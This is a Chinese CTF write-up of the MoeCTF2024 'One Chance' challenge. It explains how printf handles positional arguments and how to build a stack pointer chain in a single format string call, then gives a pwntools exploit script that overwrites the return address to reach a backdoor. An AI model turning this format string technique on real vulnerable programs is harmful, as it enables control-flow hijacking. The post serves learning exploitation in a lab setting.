当前位置: 首页 > news >正文

格式化字符串利用手法-一次机会构造栈链getshell

这个方法来源于MoeCTF2024的One Chance,本处只是记录一下。

这道题数据写入到了bss段,也就意味着我们无法直接修改栈上的数据,而是要构造栈链进行修改,程序给了栈地址和后门函数,但是只给了一次fmt的机会,很明显无法单纯通过改一次就修改返回地址,因此我们需要在一次fmt中修改两次,而且是有顺序的修改,先构造好栈链指向返回地址,再改为后门函数。

这个时候很自然的就会想用%c%x$hhn+地址+%c%y$hhn+地址进行修改,但是这样是不行的。这和 printf 的解析机制有关:在 printf 函数遇到第一个位置指定的格式化字符串%x$hn后,就会把整个格式化字符串中的位置指定的字符一起解析了,也就是说这时%y$hhn已经被解析了,并且拿到的地址是一个与返回地址没有任何关系的栈地址。而之后我们才将y位置的值改成返回地址,但这时已经没用了。

如何绕过:

既然printf 在遇到第一个位置指定的格式化字符后才会触发这种机制,那我们就先不使用这种格式化字符,所以我们在前面可以构造'%c'*x+f'%{修改的值}c%hn'这种 payload,这会向 x+2位置的地址的值修改,但是却不会触发这种机制。这样之后就能愉快的通过栈链把返回地址改为backdoor了

 

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
# io = remote("192.168.10.2", 62838)
io = process("./pwn")
elf=ELF('./pwn')
libc = ELF("./libc.so.6")
gdb.attach(io,'b *$rebase(0x12A1)')
io.recvuntil(b'0x')
ret_addr = int(io.recv(12), 16) + 0x18
success(hex(ret_addr))
ret_addr = ret_addr & 0xffff
# backdoor = elf.symbols['b2c4do0r']
pad = '%c' * 13 + f'%{ret_addr - 13}c%hn'
pad += f'%{((ret_addr + 0xff) & ~0xff) + (0x1210 & 0xff) - ret_addr}c%{0x27 + 6}$hhn'
pad = pad.encode()
io.sendlineafter(b'chance', pad)
io.interactive() 


http://www.mrgr.cn/news/50713.html

相关文章:

  • 使用 MongoDB 构建 AI:利用实时客户数据优化产品生命周期
  • C语言的文件操作【文件读取结束的判定和文件缓冲区】
  • 奉加微PHY6230连续发送数据:相同流程PHY6233没问题但是6230有问题
  • lsd.cpp:139: error: (-213:The function/feature is not implemented)
  • 快速了解红黑树
  • PostgreSQL 可观测性最佳实践
  • 快速理解http的get和post
  • 环形链表相关问题
  • 分布式缓存详解!
  • nginx web代理
  • Docker system
  • “医者仁术”再进化,AI让乳腺癌筛查迎难而上
  • 震撼发布!libcom:上海交大黑科技,一键搞定图像合成,让你的创意秒变现实!
  • 【Docker项目实战】使用Docker部署HumHub社交网络平台
  • unordered_map和unordered_set
  • Java:双列集合
  • Leetcode 1489. 找到最小生成树里的关键边和伪关键边
  • 正交标架坐标变换合同变换
  • 挖掘空间数据要素典型领域应用场景
  • OpenBayes 教程上新丨打光神器 IC-Light 上线,光影效果高度一致,快速拯救废片